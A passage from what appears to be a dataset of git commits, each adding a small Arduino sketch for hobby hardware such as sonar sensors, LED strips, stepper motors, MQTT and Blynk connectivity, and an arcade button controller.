Holds the times when the next ping should happen for each sensor.\nunsigned int cm[SONAR_NUM]; \/\/ Where the ping distances are stored.\nuint8_t currentSensor = 0; \/\/ Keeps track of which sensor is active.\n\nNewPing sonar[SONAR_NUM] = { \/\/ Sensor object array.\n NewPing(11, 12, MAX_DISTANCE), \/\/ Each sensor's trigger pin, echo pin, and max distance to ping.\n NewPing(9, 10, MAX_DISTANCE),\n NewPing(2, 3, MAX_DISTANCE),\n NewPing(5, 6, MAX_DISTANCE)\n};\n\nvoid setup() {\n Serial.begin(115200);\n pingTimer[0] = millis() + 75; \/\/ First ping starts at 75ms, gives time for the Arduino to chill before starting.\n for (uint8_t i = 1; i < SONAR_NUM; i++) \/\/ Set the starting time for each sensor.\n pingTimer[i] = pingTimer[i - 1] + PING_INTERVAL;\n}\n\nvoid loop() {\n for (uint8_t i = 0; i < SONAR_NUM; i++) { \/\/ Loop through all the sensors.\n if (millis() >= pingTimer[i]) { \/\/ Is it this sensor's time to ping?\n pingTimer[i] += PING_INTERVAL * SONAR_NUM; \/\/ Set next time this sensor will be pinged.\n if (i == 0 && currentSensor == SONAR_NUM - 1) oneSensorCycle(); \/\/ Sensor ping cycle complete, do something with the results.\n sonar[currentSensor].timer_stop(); \/\/ Make sure previous timer is canceled before starting a new ping (insurance).\n currentSensor = i; \/\/ Sensor being accessed.\n cm[currentSensor] = 0; \/\/ Make distance zero in case there's no ping echo for this sensor.\n sonar[currentSensor].ping_timer(echoCheck); \/\/ Do the ping (processing continues, interrupt will call echoCheck to look for echo).\n }\n }\n \/\/ The rest of your code would go here.\n}\n\nvoid echoCheck() { \/\/ If ping received, set the sensor distance to array.\n if (sonar[currentSensor].check_timer())\n cm[currentSensor] = sonar[currentSensor].ping_result \/ US_ROUNDTRIP_CM;\n}\n\nvoid oneSensorCycle() { \/\/ Sensor ping cycle complete, do something with the results.\n for (uint8_t i = 0; i < SONAR_NUM; i++) {\n Serial.print(i);\n Serial.print(\"=\");\n Serial.print(cm[i]);\n Serial.print(\"cm \");\n }\n Serial.println();\n}\n","subject":"Add test sketch for SR-04 ultasound sensors","message":"Add test sketch for SR-04 ultasound sensors\n","lang":"Arduino","license":"mit","repos":"jonnor\/synchrony"} {"commit":"dcee5d7193185b37a38b9ae981f744a3034f8171","old_file":"Arduino\/LightTestPattern\/LightTestPattern.ino","new_file":"Arduino\/LightTestPattern\/LightTestPattern.ino","old_contents":"","new_contents":"\/\/ Program for testing a single strip of lights.\n\/\/ Cycles through each possible combination of pure colors:\n\/\/ #000000 #FF0000 #00FF00 #FFFF00 #0000FF #FF00FF #00FFFF #FFFFFF\n\/\/ For each color, lights up lights one at a time with a slight delay between\n\/\/ individual lights, then leaves the whole strip lit up for 2 seconds.\n\n#include \n\nconst uint8_t numPixels = 20;\n\napa106 LEDstrip;\nrgb pixels[numPixels] = {};\n\nvoid setup()\n{\n}\n\nvoid loop()\n{\n static int color;\n\n for (int i = 0; i < numPixels; ++i) {\n pixels[i].r = !!(color & 1) * 255;\n pixels[i].g = !!(color & 2) * 255;\n pixels[i].b = !!(color & 4) * 255;\n delay(100);\n LEDstrip.sendPixels(numPixels, pixels);\n }\n\n color = (color + 1) % 8;\n\n \/\/ Display the pixels on the LED strip.\n LEDstrip.sendPixels(numPixels, pixels);\n delay(2000);\n}\n","subject":"Add Arduino sketch for testing individual strips","message":"Add Arduino sketch for testing individual strips\n\nThis program cycles through all patterns of fully lit R, G, and B lights\nin a known pattern at a known rate, so we can test each strip as it is\nmade.\n","lang":"Arduino","license":"mit","repos":"godlygeek\/LightRender,MaddAddaM\/LightRender"} {"commit":"b9e83b8733d2058a911d076ba7a98d9e4882c9eb","old_file":"arduino\/VoteVisualizer.ino","new_file":"arduino\/VoteVisualizer.ino","old_contents":"","new_contents":"\/\/ VoteVisualization \n\/\/\n\/\/ Author: sven.mentl@gmail.com \n\/\/ Released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n\n#include \n#include \n\n\/\/ Digital I\/O Pin connected to Data In of the NeoPixel Ring \n#define PIN 13\n\n\/\/ Number of NeoPixels\n#define NUMPIXELS 24\n\n\/\/ Configuration of NeoPixels\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ Constants \nconst uint32_t RED = pixels.Color(255, 0, 0);\nconst uint32_t GREEN = pixels.Color(0, 255, 0);\nconst uint32_t BLUE = pixels.Color(0, 0, 255);\nconst uint32_t OFF = pixels.Color(0, 0, 0);\nconst int START_SEQUENCE_BLINK_DELAY = 200;\n\nvoid setup() {\n\n \/\/ Setup the serial connection\n Serial.begin(9600); \n \n \/\/ Initialize the NeoPixel library\n pixels.begin(); \n \n \/\/ Display the start sequence to show that the right code is loaded and that the arduino is ready to be used\n startSequence();\n}\n\nvoid loop() {\n \n \/\/ Blocking call\n if (Serial.available() > 0) {\n \n \/\/ A value between 0 and 1 is expected on the serial line. \n \/\/ The value expresses the ratio of positive votes in relation to all votes.\n float ratio = Serial.parseFloat();\n if(ratio < 0 || ratio > 1) return;\n \n int numberOfGreens = (ratio * 24)+0.5;\n lightFirstXInGreenRestInRed(numberOfGreens);\n }\n}\n\nvoid lightFirstXInGreenRestInRed(int numberOfGreens){\n\n for(int i=0; i\nTMC2130Stepper driver = TMC2130Stepper(EN_PIN, DIR_PIN, STEP_PIN, CS_PIN);\n\n#include \nAccelStepper stepper = AccelStepper(stepper.DRIVER, STEP_PIN, DIR_PIN);\n\nvoid setup() {\n Serial.begin(9600);\n while(!Serial);\n Serial.println(\"Start...\");\n pinMode(CS_PIN, OUTPUT);\n digitalWrite(CS_PIN, HIGH);\n driver.begin(); \/\/ Initiate pins and registeries\n driver.rms_current(600); \/\/ Set stepper current to 600mA. The command is the same as command TMC2130.setCurrent(600, 0.11, 0.5);\n driver.stealthChop(1); \/\/ Enable extremely quiet stepping\n driver.stealth_autoscale(1);\n driver.microsteps(16);\n\n stepper.setMaxSpeed(50*steps_per_mm); \/\/ 100mm\/s @ 80 steps\/mm\n stepper.setAcceleration(1000*steps_per_mm); \/\/ 2000mm\/s^2\n stepper.setEnablePin(EN_PIN);\n stepper.setPinsInverted(false, false, true);\n stepper.enableOutputs();\n}\n\nvoid loop() {\n if (stepper.distanceToGo() == 0) {\n stepper.disableOutputs();\n delay(100);\n stepper.move(100*steps_per_mm); \/\/ Move 100mm\n stepper.enableOutputs();\n }\n stepper.run();\n}\n","subject":"Add example for pairing with AccelStepper library","message":"Add example for pairing with AccelStepper library\n","lang":"Arduino","license":"agpl-3.0","repos":"teemuatlut\/TMC2130Stepper"} {"commit":"2da8253e2ffe1448183e1e01bd3d9aa3c6db7b74","old_file":"examples\/Boards_BLE\/RedBearLab_BLE_Mini\/RedBearLab_BLE_Mini.ino","new_file":"examples\/Boards_BLE\/RedBearLab_BLE_Mini\/RedBearLab_BLE_Mini.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use Arduino + RedBearLab BLE Mini\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n\n#define BLYNK_USE_DIRECT_CONNECT\n\n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define SerialBLE Serial1 \/\/ Set Serial object\n\nvoid setup()\n{\n \/\/ This is for debug prints\n Serial.begin(9600);\n\n SerialBLE.begin(57600); \/\/ BLE Mini uses baud 57600\n Blynk.begin(auth, SerialBLE);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add RedBearLab BLE Mini module","message":"Add RedBearLab BLE Mini module\n","lang":"Arduino","license":"mit","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"2655521317c622bb7f429ffefbf60e254d69faff","old_file":"examples\/Boards_WiFi\/Arduino_MKR1010\/Arduino_MKR1010.ino","new_file":"examples\/Boards_WiFi\/Arduino_MKR1010\/Arduino_MKR1010.ino","old_contents":"","new_contents":"\/*************************************************************\n Download latest Blynk library here:\n https:\/\/github.com\/blynkkk\/blynk-library\/releases\/latest\n\n Blynk is a platform with iOS and Android apps to control\n Arduino, Raspberry Pi and the likes over the Internet.\n You can easily build graphic interfaces for all your\n projects by simply dragging and dropping widgets.\n\n Downloads, docs, tutorials: http:\/\/www.blynk.cc\n Sketch generator: http:\/\/examples.blynk.cc\n Blynk community: http:\/\/community.blynk.cc\n Follow us: http:\/\/www.fb.com\/blynkapp\n http:\/\/twitter.com\/blynk_app\n\n Blynk library is licensed under MIT license\n This example code is in public domain.\n\n *************************************************************\n This example shows how to use Arduino MKR 1010\n to connect your project to Blynk.\n\n Note: This requires WiFiNINA library\n from http:\/\/librarymanager\/all#WiFiNINA\n\n Feel free to apply it to any other example. It's simple!\n *************************************************************\/\n\n\/* Comment this out to disable prints and save space *\/\n#define BLYNK_PRINT Serial\n#define BLYNK_DEBUG\n\n#include \n#include \n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\nvoid setup()\n{\n \/\/ Debug console\n Serial.begin(9600);\n while (!Serial) {}\n\n Blynk.begin(auth, ssid, pass);\n \/\/ You can also specify server:\n \/\/Blynk.begin(auth, ssid, pass, \"blynk-cloud.com\", 80);\n \/\/Blynk.begin(auth, ssid, pass, IPAddress(192,168,1,100), 8080);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n","subject":"Add WiFiNINA, Arduino MKR WiFi 1010 support","message":"Add WiFiNINA, Arduino MKR WiFi 1010 support\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"} {"commit":"84736d29ca795c611fac40a1f4a03bc330debca0","old_file":"examples\/mqtt_qos\/mqtt_qos.ino","new_file":"examples\/mqtt_qos\/mqtt_qos.ino","old_contents":"","new_contents":"\/*\n MQTT with QoS example\n\n - connects to an MQTT server\n - publishes \"hello world\" to the topic \"outTopic\" with a variety of QoS values\n\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(String topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(\"arduinoClient\")) {\n client.publish(\"outTopic\", \"hello world qos=0\");\t\/\/ Simple publish with qos=0\n\n client.publish(MQTT::Publish(\"outTopic\", \"hello world qos=1\")\n .set_qos(1, client.next_packet_id()));\n\n client.publish(MQTT::Publish(\"outTopic\", \"hello world qos=2\")\n .set_qos(2, client.next_packet_id()));\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n\n","subject":"Add an example showing how to set the QoS value of a message to publish","message":"Add an example showing how to set the QoS value of a message to publish\n","lang":"Arduino","license":"mit","repos":"hemantsangwan\/Arduino-PubSubClient,liquiddandruff\/pubsubclient,doebi\/pubsubclient,liquiddandruff\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Imroy\/pubsubclient,vshymanskyy\/pubsubclient,liquiddandruff\/pubsubclient,Protoneer\/pubsubclient,koltegirish\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,vshymanskyy\/pubsubclient,vshymanskyy\/pubsubclient,Protoneer\/pubsubclient,Imroy\/pubsubclient,doebi\/pubsubclient,koltegirish\/pubsubclient,doebi\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient"} {"commit":"5da3776db3aabdfa6a88247e99633040ac111fee","old_file":"Arduino\/ADXL335_LEDs\/ADXL335_LEDs.ino","new_file":"Arduino\/ADXL335_LEDs\/ADXL335_LEDs.ino","old_contents":"","new_contents":"\/\/ Arduino example that streams accelerometer data from an ADXL335\n\/\/ (or other three-axis analog accelerometer) to the ESP system and\n\/\/ lights different LEDs depending on the predictions made by the\n\/\/ ESP system. Use with the user_accelerometer_gestures.cpp ESP example.\n\n\/\/ the accelerometer pins\nint zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\n\/\/ the LED pins\nint redpin = 9;\nint greenpin = 10;\nint bluepin = 11;\n\n\/\/ These are only used if you're plugging the ADXL335 (on the\n\/\/ Adafruit breakout board) directly into the analog input pins\n\/\/ of your Arduino. See comment below.\nint vinpin = A0;\nint voutpin = A1;\nint gndpin = A2;\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ Lower the serial timeout (from its default value of 1000 ms)\n \/\/ so that the call to Serial.parseInt() below doesn't pause for\n \/\/ too long and disrupt the sending of accelerometer data.\n Serial.setTimeout(2);\n\n \/\/ Uncomment the following lines if you're using an ADXL335 on an\n \/\/ Adafruit breakout board (https:\/\/www.adafruit.com\/products\/163)\n \/\/ and want to plug it directly into (and power it from) the analog\n \/\/ input pins of your Arduino board.\n\/\/ pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n\/\/ pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n\/\/ pinMode(voutpin, INPUT);\n \n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n delay(10);\n\n \/\/ Check for a valid prediction.\n int val = Serial.parseInt();\n if (val != 0) {\n \/\/ Turn off all the LEDs.\n analogWrite(redpin, 0);\n analogWrite(greenpin, 0);\n analogWrite(bluepin, 0);\n\n \/\/ Turn on the LED corresponding to the prediction.\n if (val == 1) analogWrite(redpin, 255);\n if (val == 2) analogWrite(greenpin, 255);\n if (val == 3) analogWrite(bluepin, 255);\n }\n}\n","subject":"Add Arduino example that receives ESP predictions over serial.","message":"Add Arduino example that receives ESP predictions over serial.\n\nFixes #192.\n","lang":"Arduino","license":"bsd-3-clause","repos":"damellis\/ESP,damellis\/ESP"} {"commit":"043882b7ca18a7b87e45782433563eda7e00bf8a","old_file":"examples\/IRInvertModulate\/IRInvertModulate.ino","new_file":"examples\/IRInvertModulate\/IRInvertModulate.ino","old_contents":"","new_contents":"\/*\n * IRremote: IRInvertModulate - demonstrates the ability enable\/disable\n * IR signal modulation and inversion.\n * An IR LED must be connected to Arduino PWM pin 3.\n * To view the results, attach an Oscilloscope or Signal Analyser across the\n * legs of the IR LED.\n * Version 0.1 November, 2013\n * Copyright 2013 Aaron Snoswell\n * http:\/\/elucidatedbinary.com\n *\/\n\n#include \n\nIRsend irsend;\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"Welcome, visitor\");\n Serial.println(\"Press 'm' to toggle IR modulation\");\n Serial.println(\"Press 'i' to toggle IR inversion\");\n}\n\nbool modulate = true;\nbool invert = false;\n\nvoid loop() {\n if (!Serial.available()) {\n \/\/ Send some random data\n irsend.sendNEC(0xa90, 12);\n } else {\n char c;\n do {\n c = Serial.read();\n } while(Serial.available());\n\n if(c == 'm') {\n modulate = !modulate;\n if(modulate) Serial.println(\"Enabling Modulation\");\n else Serial.println(\"Disabling Modulation\");\n irsend.enableIRModulation(modulate);\n } else if(c == 'i') {\n invert = !invert;\n if(invert) Serial.println(\"Enabling Invert\");\n else Serial.println(\"Disabling Invert\");\n irsend.enableIRInvert(invert);\n } else {\n Serial.println(\"Unknown Command\");\n }\n }\n\n delay(300);\n}\n","subject":"Add demo on new functionality","message":"Add demo on new functionality\n\nThis demo shows how the new functionality added here can be used - it\nallows the user to interactively toggle IR signal modulation and\ninversion using the serial connection.\n","lang":"Arduino","license":"lgpl-2.1","repos":"aaronsnoswell\/Arduino-IRremote,aaronsnoswell\/Arduino-IRremote"} {"commit":"a97cdb9d689761247baa374e80544e6171b6cca6","old_file":"Device_LinkItOne\/Example\/Sensor-GroveMoisture\/Sensor-GroveMoisture.ino","new_file":"Device_LinkItOne\/Example\/Sensor-GroveMoisture\/Sensor-GroveMoisture.ino","old_contents":"","new_contents":"int sensorPin = A1; \/\/ select the input pin for the potentiometer\n\nfloat sensorValue[0];\n\nfloat get_sensor_data_moisture(){\n \/\/ read the value from the sensor:\n return analogRead(sensorPin); \n}\n\nvoid setup() {\n \/\/ declare the ledPin as an OUTPUT:\n Serial.begin(115200); \n}\n \nvoid loop() {\n sensorValue[0]=get_sensor_data_moisture();\n Serial.print(\"sensor = \" ); \n Serial.println(sensorValue[0]); \n delay(1000); \n}\n","subject":"Bring up verification of GroveMoisture","message":"Bring up verification of GroveMoisture","lang":"Arduino","license":"mit","repos":"LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS,LinkItONEDevGroup\/LASS"} {"commit":"b14ac4752490cfa84faf269c26b576ae57956be4","old_file":"examples\/mqtt_will\/mqtt_will.ino","new_file":"examples\/mqtt_will\/mqtt_will.ino","old_contents":"","new_contents":"\/*\n MQTT \"will\" message example\n\n - connects to an MQTT server with a will message\n - publishes a message\n - waits a little bit\n - disconnects the socket *without* sending a disconnect packet\n\n You should see the will message published when we disconnect\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nWiFiClient wclient;\nPubSubClient client(wclient, server);\n\nvoid setup() {\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n}\n\nvoid loop() {\n delay(1000);\n\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.print(ssid);\n Serial.println(\"...\");\n WiFi.begin(ssid, pass);\n\n if (WiFi.waitForConnectResult() != WL_CONNECTED)\n return;\n Serial.println(\"WiFi connected\");\n }\n\n if (WiFi.status() == WL_CONNECTED) {\n MQTT::Connect con(\"arduinoClient\");\n con.set_will(\"test\", \"I am down.\");\n \/\/ Or to set a binary message:\n \/\/ char msg[4] = { 0xde, 0xad, 0xbe, 0xef };\n \/\/ con.set_will(\"test\", msg, 4);\n if (client.connect(con)) {\n client.publish(\"test\", \"I am up!\");\n delay(1000);\n wclient.stop();\n } else\n Serial.println(\"MQTT connection failed.\");\n\n delay(10000);\n }\n}\n\n","subject":"Add example sketch for testing out \"will\" messages","message":"Add example sketch for testing out \"will\" messages\n","lang":"Arduino","license":"mit","repos":"Imroy\/pubsubclient,Imroy\/pubsubclient,Imroy\/pubsubclient"} {"commit":"df8aa21c55f8872fc7697db822c34f46c24e2e14","old_file":"DOCS\/line_follow_head_test\/line_follow_head_test.ino","new_file":"DOCS\/line_follow_head_test\/line_follow_head_test.ino","old_contents":"","new_contents":"#define FAR_LEFT A0\n#define LEFT A1\n#define CENTER_LEFT A2\n#define CENTER_RIGHT A3\n#define RIGHT A4\n#define FAR_RIGHT A5\n\n#define WB_THRESHOLD 400\n#define IR_DELAY 140\n\nvoid setup() \n{ \n Serial.begin(9600);\n pinMode(FAR_LEFT, INPUT);\n pinMode(LEFT, INPUT);\n pinMode(CENTER_LEFT, INPUT);\n pinMode(CENTER_RIGHT, INPUT);\n pinMode(RIGHT, INPUT);\n pinMode(FAR_RIGHT, INPUT);\n pinMode(LED_BUILTIN, OUTPUT); \n}\n\nboolean toDigital(uint8_t pin){\n int reading = analogRead(pin);\n delayMicroseconds(IR_DELAY);\n \/\/ Serial.println(reading);\n return reading > WB_THRESHOLD;\n}\n\nvoid print_digital_readings(){\n \n boolean far_left = toDigital(FAR_LEFT);\n boolean left = toDigital(LEFT);\n boolean center_left = toDigital(CENTER_LEFT);\n boolean center_right = toDigital(CENTER_RIGHT);\n boolean right = toDigital(RIGHT);\n boolean far_right = toDigital(FAR_RIGHT);\n\n\n Serial.print(far_left);\n Serial.print(\"\\t\");\n Serial.print(left);\n Serial.print(\"\\t\");\n Serial.print(center_left);\n Serial.print(\"\\t\");\n Serial.print(center_right);\n Serial.print(\"\\t\");\n Serial.print(right);\n Serial.print(\"\\t\");\n Serial.println(far_right);\n\n}\n\nvoid print_analog_readings(){\n \n int far_left = analogRead(FAR_LEFT);\n int left = analogRead(LEFT);\n int center_left = analogRead(CENTER_LEFT);\n int center_right = analogRead(CENTER_RIGHT);\n int right = analogRead(RIGHT);\n int far_right = analogRead(FAR_RIGHT);\n\n Serial.print(far_left);\n Serial.print(\"\\t\");\n Serial.print(left);\n Serial.print(\"\\t\");\n Serial.print(center_left);\n Serial.print(\"\\t\");\n Serial.print(center_right);\n Serial.print(\"\\t\");\n Serial.print(right);\n Serial.print(\"\\t\");\n Serial.println(far_right);\n\n}\n\nvoid loop(){\n print_analog_readings();\n \/\/print_digital_readings();\n delay(20);\n}\n","subject":"Test code for the line follow","message":"Test code for the line follow\n","lang":"Arduino","license":"mit","repos":"Vido\/sumobot,Vido\/sumobot"} {"commit":"b4e7ee95e42252ffa95ae64f98409df26fc67f4e","old_file":"software\/main\/Blink.ino","new_file":"software\/main\/Blink.ino","old_contents":"","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","subject":"Add blink file too for ease of access","message":"Add blink file too for ease of access","lang":"Arduino","license":"mit","repos":"ieee-uiuc\/arduino-workshop,ieee-uiuc\/arduino-workshop"} {"commit":"8db0a34be842d063a0a774d0b83018d7a21e041f","old_file":"arduino_stepper\/arduino_stepper.ino","new_file":"arduino_stepper\/arduino_stepper.ino","old_contents":"","new_contents":"\n\/*\n Stepper Motor Control\n *\/\n\n#include \n\nconst int stepsPerRevolution = 200; \/\/ change this to fit the number of steps per revolution\n\/\/ for your motor\n\n\/\/ initialize the stepper library on pins 8 through 11:\nStepper myStepper(stepsPerRevolution, 8, 9, 10, 11);\n\nint stepCount = 0; \/\/ number of steps the motor has taken\nint stepValue = 0; \/\/ current step number the motor is on\n\nvoid setup() {\n \/\/ initialize the serial port:\n Serial.begin(9600);\n myStepper.setSpeed(200);\n}\n\nvoid loop() {\n \/\/ step one step:\n myStepper.step(1);\n \/\/Serial.print(\"steps:\");\n Serial.println(stepValue);\n \/\/Serial.print(\"degrees: \");\n \/\/Serial.println(stepCount*1.8);\n stepCount++;\n stepValue = stepCount + 1;\n if (stepValue > 200)\n {\n stepValue = stepValue - 200;\n }\n delay(100);\n}\n","subject":"Add arduino stepper motor control","message":"Add arduino stepper motor control\n","lang":"Arduino","license":"mit","repos":"the-raspberry-pi-guy\/lidar"} {"commit":"e84a408adc56e2155082e16ade32020551c281ea","old_file":"gliderCutdown\/gliderCutdown.ino","new_file":"gliderCutdown\/gliderCutdown.ino","old_contents":"","new_contents":"#include \nServo myservo;\nint pos = 0;\n\nvoid setup() {\n myservo.attach(9);\n myservo.write(45); \/\/ Start out in a good position\n delay(5000); \/\/ Wait as long as you like. (milliseconds)\n}\n\nvoid loop() {\n myservo.write(130) \/\/ End in a release position\n while(true); \/\/ Do nothing, forever.\n}\n","subject":"Add super simple arduino servo-based cutdown program.","message":"Add super simple arduino servo-based cutdown program.\n","lang":"Arduino","license":"mit","repos":"LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017"} {"commit":"f2b3c325d2161e6b5f60fca44e675b05a445caa5","old_file":"SimpleTest\/SimpleTest.ino","new_file":"SimpleTest\/SimpleTest.ino","old_contents":"","new_contents":"void setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n Keyboard.begin();\n \/\/setup buttons\n pinMode(2, INPUT_PULLUP); \/\/Button 1\n pinMode(3, INPUT_PULLUP); \/\/Button 2\n pinMode(4, INPUT_PULLUP); \/\/Button 3\n pinMode(5, INPUT_PULLUP); \/\/Button 4\n \/\/setup mainboard connection\n pinMode(6, OUTPUT); \/\/Reset pin\n digitalWrite(6, LOW); \/\/active high pulse\n pinMode(7, OUTPUT); \/\/Power on pin\n digitalWrite(7, LOW); \/\/active high pulse\n \/\/setup coin detector\n pinMode(8, INPUT_PULLUP); \/\/Coin 1\n pinMode(9, INPUT_PULLUP); \/\/Coin 2\n pinMode(10, INPUT_PULLUP); \/\/Coin 3\n pinMode(11, INPUT_PULLUP); \/\/Reject button\n pinMode(12, OUTPUT); \/\/Accept all coins\n digitalWrite(12, LOW);\n}\n\nvoid loop() {\n \/\/ read the input pin:\n int buttonState2 = digitalRead(2);\n int buttonState3 = digitalRead(3);\n int buttonState4 = digitalRead(4);\n int buttonState5 = digitalRead(5);\n int buttonState8 = digitalRead(8);\n int buttonState9 = digitalRead(9);\n int buttonState10 = digitalRead(10);\n int buttonState11 = digitalRead(11);\n \/\/ print out the state of the buttons:\n Serial.print(buttonState2);\n Serial.print(buttonState3);\n Serial.print(buttonState4);\n Serial.print(buttonState5);\n Serial.print(buttonState8);\n Serial.print(buttonState9);\n Serial.print(buttonState10);\n Serial.print(buttonState11);\n Serial.print('\\n');\n delay(25); \/\/ delay in between reads for stability\n if(buttonState2 == LOW) {\n Keyboard.write('A');\n digitalWrite(6, HIGH); \/\/push reset\n }\n else {\n digitalWrite(6, LOW);\n }\n if(buttonState3 == LOW) {\n Keyboard.write('B');\n digitalWrite(7, HIGH); \/\/push power\n }\n else {\n digitalWrite(7, LOW);\n }\n if(buttonState4 == LOW) {\n Keyboard.write('C');\n }\n if(buttonState5 == LOW) {\n Keyboard.write('D');\n }\n if(buttonState8 == LOW) {\n Keyboard.write('1');\n }\n if(buttonState9 == LOW) {\n Keyboard.write('2');\n }\n if(buttonState10 == LOW) {\n Keyboard.write('3');\n }\n}\n","subject":"Add simple Arduino test program","message":"Add simple Arduino test program\n","lang":"Arduino","license":"bsd-2-clause","repos":"HorstBaerbel\/MAMEduino,HorstBaerbel\/MAMEduino,HorstBaerbel\/MAMEduino"} {"commit":"cb9c287214a56a46afc161faec49b90a1c1bff30","old_file":"examples\/Tools\/CosaAutoCalibration\/CosaAutoCalibration.ino","new_file":"examples\/Tools\/CosaAutoCalibration\/CosaAutoCalibration.ino","old_contents":"","new_contents":"\/**\n * @file CosaAutoCalibration.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Calibrate Watchdog clock with RTC clock as reference. Automatically\n * adjust Watchdog clock to RTC clock tick.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nRTC::Clock clock;\nWatchdog::Clock bark;\n\nvoid setup()\n{\n \/\/ Start trace output stream on the serial port\n uart.begin(57600);\n trace.begin(&uart, PSTR(\"CosaAutoCalibration: started\"));\n\n \/\/ Start the watchdog and internal real-time clock\n Watchdog::begin();\n RTC::begin();\n\n \/\/ Synchronized clocks\n uint32_t now = clock.await();\n delay(500);\n bark.time(now + 1);\n}\n\nvoid 